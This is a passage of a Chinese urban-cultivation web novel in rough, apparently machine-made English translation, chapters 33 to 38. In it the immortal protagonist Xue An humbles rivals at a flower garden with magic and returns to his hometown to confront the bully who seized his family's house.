    Han Yao suppressed the doubts in his heart, and then said: "Stephen is in the flower garden outside the city now. I have made an appointment. I will go to see him now."


    Fan Mengxue nodded, "Okay, but Xue An will also go with him."


    "He wants to go too?" Han Yao frowned, but didn''t dare to show anything.


    Xue An said to the two little girls at this time: "Baba will take you to see flowers outside the city, okay?"


    "it is good!"


    "But...Baba, I''m so hungry!" Xue Nian said with an aggrieved face holding his stomach.


    "Niannian, what do you want to eat?"


    "Leek box!" The two little girls said at the same time.


    So, on this Land Rover off-road vehicle with a price of up to one million, two little girls were holding a box of leek and eating happily.


    Han Yao didn''t dare to have the slightest dissatisfaction, so she could only quietly lower the window.


    "Why did Stephen come to Beijiang? And to the flower garden outside the city?" Fan Mengxue asked.


    "Because Stephen is extremely obsessed with flowers and plants, and it happened that this year, an expert came to the flower garden in Beijiang, who planted many rare flowers and plants in the world, so this Steven came here especially."


    "Oh!"


    The car soon drove outside the flower garden.


    After getting out of the car, Xue An found that all kinds of luxury cars were parked here.


    At the door, there are also many security guards.


    Han Yao led a group of people into the flower garden.


    As soon as they came in, people realized that there was something special here.


    First of all, the temperature is much higher than the outside world, warm as spring.


    is followed by all kinds of flowers and plants.


    And these flowers and plants are in full bloom.


    This kind of beautiful scenery stunned Fan Mengxue and the two little girls.


    Han Yao sighed, "When I saw it for the first time, I was so silly! Such a nursery may not even be in China! No wonder Stephen has to come here too far!


    Xue An looked indifferent, these flowers and plants are indeed good, but to him, they are not enough to see.


    Once upon a time, he stood on the Tianhe River, overlooking the hundreds of millions of stars, and that was truly brilliant.


    After seeing such a magnificent scenery, and then looking at these mortal flowers and plants, Xue An''s heart was not at all disturbed.


    "Heh, isn''t this Fan Mengxue!" At this moment, a mocking voice came from behind.


    Fan Mengxue turned his head to see, a man and a woman came over.


    The female is a great beauty with a variety of styles, and the male is a thick and short man.


    This kind of collocation is inherently contradictory.


    And this woman is almost all posted.


    Fan Mengxue recognized the person, "He Ying? Why are you here?"


    This woman is a well-known actress in the circle called He Ying.


    Once upon a time, Fan Mengxue worked with this He Ying.


    It was only afterwards that Fan Mengxue couldn''t understand what He Ying did, and then he parted ways, and after two years of development.


    The gap between the two people is getting bigger and bigger.


    Fan Mengxue is already a queen.


    He Ying can only stay in this small place, Beijiang.


    At this time, He Ying was also staring at Fan Mengxue with jealous eyes. He Ying couldn''t help but sneer when she asked her.


    "Why? Is this place only allow you to come? The news of Stephen coming here is not only you know!"


    Then He Ying turned her attention to Xue An, "Yeah, this is your little lover of Fan Daxing, who looks good, but unfortunately..."


    He Ying noticed that Xue An didn''t have any valuable decorations on his body, and he didn''t even have a watch, so he couldn''t help showing some contempt.


    "Have you seen this? This is my husband, Chairman Dong Tiancheng of Tiancheng Group, worth hundreds of millions. Any ring is all the belongings of your little lover. Women, sometimes they can''t owe themselves!" He Ying Said proudly.


    Fan Mengxue frowned slightly.


    Because she noticed Dong Tiancheng''s gaze, which was full of greed and possessiveness.


    Fan Mengxue has seen this look too much.


    Dong Tiancheng is indeed full of greed at the moment, because he has only seen Fan Mengxue on TV, but he did not expect that the real person is more beautiful than on TV!


    Especially the skin that can be broken by blowing bombs, it almost makes the population drain.


    However, Dong Tiancheng is a very cautious person. He was afraid that Xue An would be a wealthy son, so he laughed first.


    "It''s nice to meet you, Miss Fan, but I don''t know if this gentleman is..."


    Fan Mengxue hasn''t spoken yet, Xue Xiang and Xue Nian have already said in unison: "This is my Baba!"


    "Oh..." Dong Tiancheng and He Ying had a clear expression.


    is actually a kid with a child, this Fan Mengxue has a very unique taste.


    Dong Tiancheng thought for a while, and he remembered that no wealthy boy had a child, so he let go of his heart, then smiled and said, "Miss Fan, are you here to see Director Stephen?"


    "Yes!"


    "Then did you bring any gifts?"


    "Gift?"

 Chapter 34： 0 flower kills after I bloom!

    "Yes! Did you come here empty-handed?" He Ying exaggerated exaggeratedly.


    "My husband specially bought a very precious flower from abroad, ready to give Stephen as a gift! At that time, this heroine''s seat should be mine!" He Ying said confidently.


    She was itchy to Fan Mengxue''s jealous tooth roots. This time she finally had the opportunity to overwhelm Fan Mengxue, and she was naturally full of joy.


    Dong Tiancheng smiled enthusiastically: "Miss Fan, if you didn''t bring a gift, I can help you, but... hehe!"


    This hehe contains all the meanings.


    Fan Mengxue coldly said, "No need!"


    turned around after speaking.


    Xue An looked at He Ying, then at Dong Tiancheng, and then smiled faintly.


    "Baba, what are you laughing at?" Xue Xiang asked.


    "Oh, it''s okay, but I suddenly felt that if the short winter melon becomes fine, it''s almost like this!"


    Dong Tiancheng''s face turned green all of a sudden, his height has always been his culprit, how dare this guy laugh at himself?


    Dong Tiancheng just wanted to have an attack, but Xue An had already led his two daughters away.


    Dong Tiancheng looked at Xue An''s back with a gloomy face, clenching his teeth secretly.


    Wait I want you to look good!


    The center of the flower garden is a few glass houses, when Xue An, Fan Mengxue and others arrived here.


    There are already many people in the glass house.


    And seeing these people in suits and shoes, none of them are ordinary people.


    But at this moment, these people are all standing on the side in silence.


    And here, a blonde foreigner is particularly eye-catching.


    This is Stephen.


    Stephen at this moment, with a look of hope, seems to be waiting for something.


    at last.


    The small door of the glass room opened, and a pretty figure walked out slowly.


    At first sight of this woman, you can only use flowers to describe her.


    Because she is more beautiful than a flower.


    When Stephen saw this woman, the excitement on his face became heavier.


    "Master Wei!"


    "Master Wei! You are finally here!"


    People greeted one after another.


    The woman nodded faintly, and then lifted the cloth covering the table with grace.


    Inside ���� is a nine-color flower.


    Everyone''s breathing stopped.


    Steven''s eyes shined even more.


    This is a flower, but it has nine different colors of flowers.


    And they have different postures, but they are beautiful.


    "Wei, this flower, I want it!" Stephen said hurriedly.


    The Master Wei shook his head slightly, "This flower is not for sale!"


    Stephen was anxious, "Why not sell it?"


    Master Wei said lightly: "Because only those who say the meaning of this flower are qualified to own it!"


    This question made everyone present stare at each other.


    Then someone started eager to try.


    Since the girl named Wei came to this flower garden years ago, this humble flower garden has become famous.


    Many people come here just to get a pot of rare flowers and plants.


    But after someone said many answers, Master Wei shook his head slightly.


    At this moment, Dong Tiancheng smiled and said, "This little brother claims to be good at flowers, plants and trees. Just at this moment, would you please explain?"


    This voice led all eyes to Xue An.


    Master Wei also noticed Xue An, but frowned slightly.


    Flowers, plants and trees are all fine?


    Even she dare not say that.


    is probably another prodigal prodigal son.


    A smug smile appeared at the corner of Dong Tiancheng''s mouth.


    This time, if you are embarrassed in public, even if you hate this Master Wei, you will definitely offend Stephen.


    So Fan Mengxue��s heroine also fell into disarray.


    Dong Tiancheng planned this.


    But when he was full of ambition, Xue An smiled faintly.


    "Although I haven''t said...but what he said is correct, I know everything about the world."


    This sentence caused an uproar in the audience.


    Many people looked at Xue An with contempt.


    Especially Steven, he was even more disdainful.


    When he was in Europe, he studied flowers and plants, and he was considered a master gardener.


    Even he dare not claim to be perfect.


    This man actually said that he knew everything?


    is a joke.


    Wei also frowned slightly.


    "This gentleman, dare you ask what you call it?"


    "My Baba is called Xue An! My Baba is amazing!" Xue Xiang said rushingly.


    This milky voice made many people laugh.


    Among these laughter, Dong Tiancheng and He Ying laughed the most.


    But Xue An just stood proudly, without any expression, only after the laughter gradually ceased, then said faintly: "Your flower is a name...forgetfulness!"


    As soon as ���� said these words, Wei''s face changed drastically.


    At this moment, everyone gradually calmed down.


    Xue An continued: "This flower has exhausted all the world''s skills, nine extreme beauty in one, but there is no green leaf to accompany it. This loneliness accompanies this flower, and its destination will also be the soil. So... it''s Ming Wangqing!"


    Dong Tiancheng was the first to sneer, "It''s really hypocritical..."


    But his sneer did not continue, because he saw a surprising scene.


    Master Wei, who had always been indifferent to people, actually walked up to Xue An on his own initiative and gave a deep salute.


    "Today, I know that there are people who solve flowers in the world!"


    This scene stunned everyone.


    Especially the people who just ridiculed Xue An, are even more ashamed and want to get into the ground.


    Only Stephen, a little dissatisfied.


    In the few days he has been here, he has been deeply fascinated by this flowery woman.


    So naturally I don''t want to see Master Wei respect Xue An so much.


    "If you can only say, how can you call it all flowers and plants?" This Stephen said coldly. UU reading www.uukanshu. com


    Dong Tiancheng also jumped out, "Yes, the director Stephen is right. Anyone can do things like lip-synching, and it would be ridiculous if everything is perfect!"


    Then Dong Tiancheng opened the suitcase he was carrying with him like offering a treasure.


    "Look, everyone, this is a strange flower I bought with a lot of money!"


    Steven is a flower lover, and when he sees this pitch-black flower, he is a little obsessed.


    And many people have joined the camp to denounce Xue An.


    After all, this man robbed many people of the limelight as soon as he came, and naturally aroused the envy of many people.


    But Xue An just stood there faintly, waiting for people''s voices to become quieter.


    He lowered his head and said to Xue Xiang and Xue Nian, "Do you...Do you want to see Baba turning magic?"


    "miss you!"


    "That''s good! Baba will give you a magic trick of flowers!"


    Talking, Xue An stretched out his hand.


    Dong Tiancheng laughed and said: "What? This is preparing to hold..."


    I didn''t say the following words.


    Because he saw a jaw-dropping scene.


    In the palm of Xue An''s hand, a small seed began to take root and sprout, and then grew at a very fast speed. In the blink of an eye, this seed grew a budding flower bone.


    This scene makes many people think they are dazzled.


    But this is not over yet.


    Xue An faintly chanted: "When I bloom, a hundred flowers will kill!"


    Almost instantaneously, the strong Molian that was originally bloomed immediately withered.


    Almost at the same time, all the flowers in full bloom in the entire flower garden withered instantly.


    And this illusion flower is slowly blooming!


    It''s beautiful as illusory!

 Chapter 35： With an order, everything bows its head!

    Everyone was stunned by this scene.


    The master Wei was shaking with excitement, staring at this strange flower, muttering to himself.


    "The means of heaven and man are indeed means of heaven and man."


    As for Stephen, even his eyes are almost staring at this moment.


    Xue wanted to cheer with Xue Nian.


    "Baba is amazing!"


    Xue An smiled, and then looked at Dong Tiancheng and He Ying, whose faces were gray, and said lightly.


    "Now, can you be convinced?"


    Dong Tiancheng''s mouth moved, but he couldn''t say anything.


    There is only He Ying, and his face is dissatisfied and said: "What! It must be a laser projection. I don''t believe that a flower can grow out of thin air!"


    Wei Ruyan frowned, then said to He Ying: "Please go out!"


    He Ying was taken aback, and then shouted like a shrew, "Why should I go out?"


    Wei Ruyan said coldly: "I don''t welcome people who don''t understand flowers! Please go out!"


    Stephen also said at this time: "Master Wei''s words are what I mean, please go out immediately, and you don''t talk about the movie!"


    He Ying was stunned, what else Dong Tiancheng wanted to say, Stephen waved his hand, "Before I am not angry, please go out immediately!"


    Dong Tiancheng had no choice but to drag He Ying, who was already hysterical, out.


    Wei Ruyan walked up to Xue An and said respectfully: "Mr. Xue, can I touch this flower, please?"


    Xue An nodded, "Yes."


    As Xue An retracted his hand, the flower floated in the air.


    Wei Ruyan tremblingly touched the flower lightly, tears falling down.


    "If I can see such a wonderful flower in this life, I will die without regret!"


    Xue An admires Wei Ruyan, this girl, with a pure mind, dedicated everything to the flower.


    can be described as the idiot in the flower.


    referred to as nympho.


    Steven also leaned in, but his interest mainly focused on whether he could buy this flower.


    "Mr. Xue, please make an offer, I want this flower!"


    Xue An looked at Stephen, then smiled lightly, "You want to buy?"


    "That''s right!"


    "But I''m afraid you can''t afford it!"


    Steven gritted his teeth, "Mr. Xue, for this flower, even if I give it all, I will not hesitate!"


    Xue An smiled, then pointed at Fan Mengxue, "That''s not necessary, but I heard that you have a movie to start shooting, and there is exactly one heroine missing, right?"


    Stephen didn''t care much about Fan Mengxue, the great director proficient in Chinese, once he came into contact with flowers, he didn''t care about anything.


    But when Xue An reminded him, he noticed Fan Mengxue, and then he was taken aback.


    Fan Mengxue gave a slight salute, "Mr. Stephen..."


    "Oh, mygod." Stephen was shocked, "This beautiful lady is just the heroine I imagined, even her face is so similar!"


    This sentence made Fan Mengxue''s heartstrings tight.


    Han Yao immediately leaned forward to start a conversation with Stephen.


    The gold medal agent in the entertainment industry was quite skilled, and he quickly talked to Stephen with enthusiasm.


    The matter is over.


    Xue An squatted down and said to Xue Xiang and Xue Nian: "I miss Nian, let''s go out and play!"


    "All right!"


    The two little girls walked out of the flower garden behind Xue An.


    At this moment, the heavy snow has stopped, and the sky and the earth are white.


    Flower Garden is located on the outskirts of Beijiang City, next to the Yulong River.


    "Baba, Aunt Xuan''er once led the two of us here, the Yulong River was beautiful at that time!" Xue Xiang said while standing by the river.


    "Hmm! I remember, and I also ate a boiled corn by the river, it tasted great!" Xue Nian also said.


    Xue An laughed blankly. The two little girls, who were only four years old this year, grew up in an environment without parents, so they talked and behaved like little adults.


    But the more so, the more distressed Xue An''s heart is.


    During the four years when I was absent, how much hardship my two daughters have suffered!


    At this point, Xue An said softly: "Think about it, miss it, do you want to see the Yulong River at that time?"


    Xue Xiang''s eyes lit up, "Yes!"


    can dim again immediately.


    "But it''s winter, and the river is freezing!"


    Xue An smiled faintly. If you can''t even do this, what kind of fairy is there?


    "Close your eyes! Baba will make you a magic trick again!"


    The two little girls cleverly covered their eyes.


    Xue An waved his hand and chuckled softly, "Inverse!"


    The frozen river surface cracked, and then the ice and snow melted rapidly. In the blink of an eye, the Yulong River resumed its flow.


    At the same time, all the flowers and trees on the shore began to grow wildly. In a flash, within ten miles of the river, the greenery seemed to be back to summer in the blink of an eye.


    With an order, everything bows its head.


    This...is the power of Xianzun!


    "Okay, open your eyes!" Xue Anrou said.


    The two little girls let go, first looked at everything around them in a daze, and then shouted excitedly, "Baba, is this what you have become?"


    Xue An smiled and nodded, "How is it? Is it great?"


    "It''s amazing! Baba, look, there are fish in the river!" Xue Nian can''t forget to eat!


    Xue An smiled, "Go, let''s cross the river!"


    After that, Xue An stretched out his hand to point to the river, and said lightly: "Knot!"


    As soon as the voice fell, the calm river surface boiled, and countless fishes rushed to the surface.


    Then a small bridge made of fish was formed over the river.


    Xue wanted to step on the fish bridge carefully with his feet, then walked up, and said very excitedly: "Baba, is this also magic?"


    Xue An smiled and nodded, "Yes! This is also magic!"


    "Then I want to learn this magic too!"


    "Me too, after learning, I will be able to make a lot of delicious food!" As an authentic snack, Xue Nian''s idea is of course different.


    "Okay! Baba will teach you by then!" Xue An smiled faintly.


    He does have this plan. He wants to bring Anyan, his two children, and everyone around him on the path of cultivation.


    Because of being Xianzun, time has no meaning for him.


    That is absolute immortality.


    But if there is no relatives to accompany, it will be an absolute prison.


    That kind of loneliness alone can make people crazy.


    In his last life, Xue An worked hard for three thousand years in order to break time and return to the earth.


    So if there is a chance in this life, Xue An will certainly not give up.


    The father and daughter walked on this bridge that may be unique in the world.


    And Dong Tiancheng in the distance, He Ying with an unconvinced expression was about to leave, and then he saw this scene.


    Both of them were stunned.


    what is this?


    Immortal?

 Chapter 36： Like a fairy

    He Yingqiang smiled and said, "This guy is probably pretending to be a fool again! Husband!"


    Only this time, there was no response to her words.


    He Ying turned his head and saw that Dong Tiancheng''s face was extremely solemn.


    is also a wealthy man with a wealth of hundreds of millions, Dong Tiancheng can naturally get in touch with more secrets.


    He knows very well that there are masters in this world!


    But he couldn''t imagine that this man with two children would be an unborn master.


    Dong Tiancheng couldn''t help feeling cold sweat when he thought that he had even ridiculed others just now.


    "Old...husband?" He Ying trembled.


    Dong Tiancheng glanced at her coldly.


    Everything is because of this stupid woman!


    If it weren''t for her, I wouldn''t have offended Xue An!


    Correct!


    because of her!


    Thinking of this, Dong Tiancheng''s eyes couldn''t help being filled with disgust.


    As a rich man, there is no shortage of beautiful women around!


    It''s just that He Ying is a little star, and he fulfilled Dong Tiancheng''s desire to be a star, so he spoiled her so much!


    But now Dong Tiancheng feels that he should stay away from this stupid woman.


    He Ying noticed Dong Tiancheng''s strangeness, and her heart was full of panic.


    "Husband...what''s wrong with you?"


    "I remember that the company has something to do, you can take a taxi and go back!"


    After talking, Dong Tiancheng turned and left.


    He Ying was stunned in the same place. After a while, she looked at Xue An with a bitter expression on her face.


    "It''s all you! If it weren''t for you! That character of Stephen is mine! I curse your two daughters not to die! You..."


    The voice stopped abruptly.


    Because of He Ying''s feet, a cloud of white light suddenly rose.


    In an instant, the white light swallowed her completely.


    He Ying didn''t even have time to scream, and disappeared completely.


    At this time, Xue wanted to see the strangeness on the shore in the distance, and couldn''t help asking: "Baba, what''s wrong over there?"


    Xue An smiled faintly, "It''s okay, maybe someone is burning garbage!"


    Although Xue An��s current strength is not equal to one hundred million, but for his two precious daughters, he still did his best to bless Xue Xiang and Xue Nian with the highest level of guardian spells.


    This curse was created by Xue An when he first became Xianzun.


    can even be overbearing to curse and kill people who are not good for him directly after hundreds of millions of light years!


    Although his strength is far from restored, the guardian spell is still extremely powerful.


    So He Ying just said a few bad things secretly, and was directly killed by Gekong Curse!


    Of course, these two little girls don''t know, they are walking around on the fish bridge excitedly.


    Xue An stood in the middle of the river with his arms folded, and looked at the happy faces of the two daughters, and couldn''t help smiling.


    this moment.


    The clouds dispersed, a ray of sunlight shone down, and Xue An and the two little girls set off almost as a fairy.


    This picture was also seen by Fan Mengxue, Han Yao, and Wei Ruyan who came out from behind.


    Han Yao froze in shock, and then almost groaned: "Mengxue, what kind of man did you find?"


    Fan Mengxue was much calmer, and just whispered: "I don''t know, but I know, no matter who he is, as long as he is called Xue An!"


    At this point, Han Yao completely put away his contempt, and at the same time believed that what Xue An said that day was not bragging.


    He really has this ability.


    When a person''s strength reaches a height that is unattainable by others, worldly power, wealth, etc. will become very ridiculous.


    While Wei Ruyan noticed the greenery of the trees around Yulong River.


    It seems that suddenly, this Yulong River returned to summer.


    The green trees are so incompatible with the surrounding ice and snow world!


    "Who is this person... on earth?" Wei Ruyan was shocked.


    At this moment.


    A Maybach drove slowly into the flower garden.


    Qin Yu got out of the car and was shocked by this scene, but now she has some immunity, so she quickly returned to normal, and then walked to the river.


    "Mr. Xue!"


    Xue An looked back at Qin Yu, and led Xue Xiang and Xue Nian back to the shore, and snapped his fingers.


    "Scatter!"


    There was a crash.


    The fish bridge broke apart.


    Then Xue An smiled at Qin Yu slightly, "What''s the matter?"


    Qin Yu only felt that her heartbeat was accelerated by this smile, and she couldn''t help but lower her head and said, "Mr. Xue, I have found out what you asked me to investigate! The magical plant at the auction came from... mountain!"


    Green Mang Mountain!


    After hearing this name, Xue An''s eyes were bright.


    Because his hometown is Qingmang Town under Qingmang Mountain.


    It''s just that Xue An has left since his parents both passed away, and he hasn''t been back much since.


    "Okay! I see! Thank you!"


    Qin Yu was a little nervous.


    Because she has never seen that look on Xue An''s face.


    "Mr. Xue, are you going to Qingmang Mountain? What do we need from the Qin family?"


    Xue An smiled slightly, "No need!"


    Then Xue An said to Xue Xiang and Xue Nian: "Baba will take you out for a trip, okay?"


    "Okay!" For the two little girls, Xue Xiang and Xue Nian, as long as they can be with Baba, everything is fine.


    Xue An looked up at the distance.


    Green Mang Mountain!


    There seems to be some debts there, and it needs to be recovered!


    Things are going well, because of the schedule, Fan Mengxue wants to follow Han Yao At the time of parting, Fan Mengxue couldn''t help but started crying again.


    Han Yao led Xue Xiang and Xue Nian away with interest.


    Xue An looked at Fan Mengxue with red and swollen eyes, and smiled slightly, "Okay, it won''t look good if you cry again!"


    Fan Mengxue lowered his head and sobbed softly, like a kitten.


    Xue An rubbed her head, "I said when I was in school, whoever dares to bully you in the future, I will help you beat him! Now you can see that most people can''t beat me! So don''t worry, as for This fellow Stephen, I don''t think I dare to do anything to you!"


    More than not dare to do anything, the current Steven sees Xue An as a god, so he almost kneels down and burns incense for Xue An.


    Fan Mengxue suddenly hugged Xue An, "Do you know, I am actually very jealous of that Anyan, but I don''t know, is there any chance!"


    Xue An sighed slightly.


    Even Xianzun would have troubles.


    For example, feelings are hard to say.


    "It''s alright, I didn''t say not to let you come back!"


    "Really?" Fan Mengxue raised her pretty face and looked at Xue An.


    "You mean, can I come back later?"


    Xue An smiled bitterly, "Yeah, can I still drive you out?"


    Fan Mengxue''s eyebrows were filled with joy.


    Fan Mengxue left, and Xue An stood by the roadside, suddenly feeling a little depressed.


    There is only one person he likes, and that is An Yan.


    This is beyond doubt.


    can be for Fan Mengxue and even Tang Xuaner.


    He has a complex feeling in it.


    Xue An couldn''t help but sighed.


    That''s all!


    Take one step at a time!

 Chapter 37： Blue awn

    There are fairies on Qingmang Mountain.


    This is a legend that everyone who lives near Qingmang Mountain knows.


    But no one has seen it.


    But it also gave this mountain some mystery, which attracted tourists from all over the world, and also made the once poor Qingmang town become lively.


    Xue An got off the tourist bus with his two daughters, everything in front of him was familiar but unfamiliar.


    When I left, it was still a deserted town, but now it is much more prosperous.


    There are many restaurants and bars, with red men and green women going back and forth.


    And in the distance facing the street is the towering Qingmang Mountain, but the top of the mountain is surrounded by clouds and mist all the year round, and it is easy to disperse.


    Xue An narrowed his eyes for a moment.


    When I was a child, I went to Qingmang Mountain and found nothing unusual.


    But now from the perspective of Xianzun, it is natural to see that this mountain has excellent geomantic omen, and there is a faint dragon spirit, which is obviously not an ordinary place.


    But this dragon spirit... seems to be impure!


    Xue An thought in his heart, and then said to Xue Xiang and Xue Nian: "Are you hungry?"


    The two little girls shouted in unison: "Hungry!"


    This scene made passersby laugh.


    Xue An nodded, "Go, Baba will take you to dinner first!"


    Since becoming this dad, Xue An��s daily life has been inseparable from pots and pans.


    In fact, with his cultivation base, he could not eat anything.


    I am happy if money is hard to buy. Xue An enjoys the feeling of eating out with his two daughters.


    Walking down the street, watching the hotels and restaurants rising from the ground, Xue An looked a little lonely.


    I used to play in this street.


    And my hometown is also on the corner of this street.


    I don��t know what happened to my hometown after so many years? The house should have collapsed!


    Xue An thought in his heart, turned the corner to look, but was stunned.


    Because in my hometown, I actually built a very luxurious hotel.


    Xue An''s face gradually sank.


    "Baba, why don''t you leave?" Xue Xiang asked, and then looked at this luxuriously decorated hotel.


    "Baba, do we want to eat here? Will it be expensive!" Xue Xiang is only four years old, but already has the potential to be a small money fan.


    Meticulous planning for food and grocery shopping makes Xue An sometimes distressed and funny.


    Xue An is certainly not annoyed because a piece of the foundation is occupied.


    For him, this hometown has a special meaning, after all, it is a symbol of his childhood memories.


    Just then, a timid voice came.


    "Are you... Brother Ang?"


    Xue An looked back and saw a young girl standing on the street.


    The girl was dressed in plain clothes, clean and pure, even with a shy blush on her face.


    "you are����."


    "Brother Ang, is it really you?" The girl suddenly got excited and stepped forward and said, "I am Lan''er!"


    "Lan''er? You are... Xue Lan?" Xue An said in surprise.


    Xue Lan is the daughter of a distant uncle''s house. When she was a child, she often entangled Xue An, like a follower. She followed Xue An wherever she went.


    "It''s me! Brother Ang, you are finally back, and many people say you are dead!" Xue Lan said, tears falling steadily.


    "Isn''t this good, I haven''t seen you in a few years, they are all so old!" Xue An said with a smile.


    "These two are..." Xue Lan couldn''t help asking when she saw Xue Xiang and Xue Nian.


    "Hello Auntie!" The two little girls had sweet mouths and said in unison.


    Xue Lan was also amused by these two little guys, "God, what a lovely girl."


    "This is my daughter!" Xue An said.


    Xue Lan gave a slight shock, and then smiled reluctantly: "Brother Ang is married!"


    Xue An nodded, then pointed to the magnificent hotel behind him.


    "How is this going?"


    Xue Lan''s face changed, and then she dragged Xue An away.


    "I can''t say a sentence or a sentence. You can go home with me first. My dad is so happy to see you!"


    Xue Lan��s home is on the edge of Qingmang Town.


    The appearance of a small mountain village was restored here, with low and dilapidated houses and muddy roads.


    Xue An used to come here often, so he is very familiar, and Xue Lan��s home has not changed much over the years.


    After entering the house, Xue Lan shouted very excitedly: "Dad, who do you see is back?"


    A dark rural man walked out of the house and was taken aback when he saw Xue An.


    "Xue...Ann?"


    At this time, a rural woman also opened the door and walked out, still muttering: "Who, yelling!"


    When I saw Xue An, the woman''s face changed drastically.


    "It''s you?"


    Xue Lan was very excited at this time and said: "Mom. Brother Ang is not dead, he is back again!"


    "Quickly, get out! We don''t know Xue An, let him go!" Xue Lan''s mother, Li Hongyan said.


    Xue Lan was taken aback, "Mom, what?"


    "Bad girl, don''t you listen to what I said? Let him go!" Li Hongyan said grimly. UU reading www. uukanshu.com


    At this time Xue Lan''s father, Xue An''s distant uncle Xue Guo sighed and said: "Xue An, you shouldn''t be back at all! Go ahead, before others find you! Hurry!"


    Xue Lan still wants to say something at this time.


    Xue An stopped her, and then faintly said to the two of them: "I will not hurt you when I come back, but I want to ask, what''s the matter with my home?"


    This question makes Xue Guo and his wife even more pale.


    Li Hongyan said with a spiteful expression: "I, you broom star, you will be unhappy when you see you, and you don''t want to hurt us? Hurry up and delay, be careful, I''m not welcome!"


    Xue An frowned. Although he is a relative, he should not blame others if he kills himself.


    At this time, Xue Lan suddenly grabbed Xue An''s hand and said with tears: "Brother An, I will send you away first!"


    Thinking of Xue Lan, Xue An''s heart softened and smiled at the two people, "I hope you don''t regret it in the future!"


    After that, Xue An followed Xue Lan.


    At this time, Li Hongyan let out a sigh of relief, and said with some disdain: "It''s an orphan who has lost his home. Regret? I''m!"


    Xue Guo wanted to speak and stopped, after all, in this home, he has no place to speak.


    After leaving the house, Xue Lan said sadly: "Brother Ang, I..."


    Xue An shook his head and said calmly: "Needless to say, Lan''er, just tell me what is going on with my family!"


    Xue Lan gritted his teeth, "It''s all because of Jiehu! In the third year after you left, we started to develop here. Because of the good location of your home, this Jiehu maliciously took over and built the hotel."


    Solve the tiger.


    The name ���� opened up Xue An''s dusty memories.

 Chapter 38： What kind of old accounts, kill them!

    When Xue An was in junior high school in the town, Xiehu relied on his family''s influence and became the boss of the junior high school.


    Because Xue An had a good academic record and had no relatives at the time, this Xiehu often bullied him by finding faults.


    Later, Xue An left Qingmang Town. Rumors say that Xiehu was expelled from school because he raped a girl.


    This person is a typical social scum.


    Now, there is a lot of confusion.


    Xue Lan said with some worry: "This Xiehu has threatened more than once that whoever dares to manage this matter will be killed. The people in the town are afraid of him, and no one dares to come forward!"


    Xue An nodded, "Lan''er, thank you very much!"


    Xue Lan shook his head, "Brother Ang, don''t blame my parents, they are also afraid!"


    Xue An smiled slightly, then lowered his head and said to Xue Xiang and Xue Nian: "Go, Baba will lead you to eat at the hotel just now!"


    Xue Lan was anxious when he heard that, "Brother Ang, don''t be impulsive. This Jiehu is now very powerful. I heard that there are many thugs under his hand, you..."


    Xue An smiled faintly, then asked, "Lan''er, have you eaten yet?"


    "I have not eaten����."


    "Well, let''s go together!"


    Xue Lan still wanted to say something, but when she saw Xue An''s indifferent eyes, she couldn''t say anything.


    Xue Lan felt that the gentle and shy brother Ang in his memory suddenly became very strange.


    Especially those eyes are deep and deep, like two unfathomable black pools, which makes people daunting.


    Xue An walked to the door of the Yuelai Hotel.


    The decoration is good, but it is full of tackiness in the market.


    Xue An walked in blankly, followed by two little girls, and a cautious Xue Lan.


    Because of its excellent location and the traffic in Qingmang Town, all configurations are the same as in the city.


    There are also managers and waiters in the lobby.


    When Xue An came in, a waiter came.


    "Sir, do you want to eat?"


    Xue An nodded.


    "Well, please come here!"


    Xue An didn''t move, but asked faintly: "Is Xie Hu?"


    The waiter''s smile gradually disappeared.


    "You ask our boss?"


    "Ok!"


    "Then what do you want?"


    "There are some old accounts, I plan to count it with him!"


    The waiter winked at others. A dozen burly security guards walked over and surrounded Xue An.


    "Boy, you are so good now, I don''t care about it!" The lobby manager walked over at this time and sneered.


    Xue An suddenly smiled, "Think about it, Nian Nian, Baba will give you a magic trick, okay?"


    "Yeah!"


    The lobby manager sneered and said: "Pretend to be a fool, beat him!"


    These security guards rushed up, Xue An stood with his hands behind him, just lowered his eyes and whispered, "Kneel down!"


    These people all knelt on the ground.


    "Baba, why are they all kneeling down?" Xue Xiang asked.


    "Maybe I feel too tired to stand and talk to you. Kneel down and feel more comfortable!"


    This explanation is perfect.


    At least Xue Xiang and Xue Nian believed.


    But the lobby manager wanted to cry without tears.


    Xue An walked up to him and said lightly: "Now, I will ask you again, where is Xie Hu?"


    The lobby manager gritted his teeth, "After our boss comes back, he will definitely not let you go! You wait!"


    Xue An smiled slightly, "That''s good! I''ll wait!"


    Speaking, Xue An patted the lobby manager on the shoulder.


    Click.


    The shoulder was crushed by Xue An''s shot. The lobby manager screamed, and Xue An said, "Shut up!"


    The lobby manager can''t speak out anymore. He sweats profusely, but he can only look at Xue An with desperate eyes!


    "Prepare food, we have to wait while eating." Xue An said to the waitresses who were shaking in the distance.


    Soon, the table was placed above the lobby.


    The food is very plentiful, and the two little girls ate heartlessly and happily.


    Xue Lan was a little hard to swallow.


    After all, those who are kneeling on the ground are all the guys who usually show off in town!


    Xue An ate a few bites of the food, and then began to drink.


    This wine is not bad, but it is a special wild fruit wine from Qingmang Mountain.


    The entrance has a childhood taste.


    And everyone looked at this table with complicated eyes.


    Many people are hiding in the distance to discuss, and look at Xue An with the same eyes as the dead.


    "If the boss comes back soon, I will probably bleed!"


    "Who said no! This man is so arrogant, he doesn''t look at what this place is!"


    These discussions made Xue Lan more and more afraid.


    "Brother Ang, let''s go first!"


    "Go? Why do you want to go?"


    "Jiehu will come back later..."


    Xue An smiled slightly, "I''m waiting for him!"


    As soon as the voice fell, footsteps came from outside, and then I heard Xie Hu say in an almost flattering tone: "Miss Chen, you go here!"


    After these people walked into the lobby, they couldn''t help being stunned.


    Because this scene is really incredible.


    More than a dozen burly men knelt straight on the ground.


    A dining table was set aside, a man, a woman and two children were eating.


    "What''s the matter?" Xie Hu''s eyes suddenly became cold.


    Today, he tried his best to invite this distinguished guest from Zhongdu to his hotel.


    But now there is such a scene, which makes him feel that his face is really uncontrollable.


    "Boss, this guy is all this guy, and I don''t know what tricks he used, so that the few of us can''t get up on our knees!" a security captain shouted.


    Xie Hu gloomily looked at Xue An who was sitting there and was pouring and drinking, and said gloomily: "Where''s the kid, do you know what this place is? You dare to come to me to cause trouble, you live impatiently Up?"


    Xue An put down his wine glass and raised his eyes to look at Xiehu.


    "This... isn''t it the Xue family''s old house!"


    When these words came out, Xiehu''s expression changed drastically, and then he stared at Xue An.


    "You...you are..."


    And the woman standing next to Xie Hu at this time said coldly: "Manager Xie, it looks like you have something else?"


    Xiehu quickly put on a flattering smile It''s okay, it''s just a trivial matter, I can handle it right away! "


    Then turned to look at Xue An, and sneered: "Xue An, I didn''t expect you to be alive! Why? Why do you come to me?"


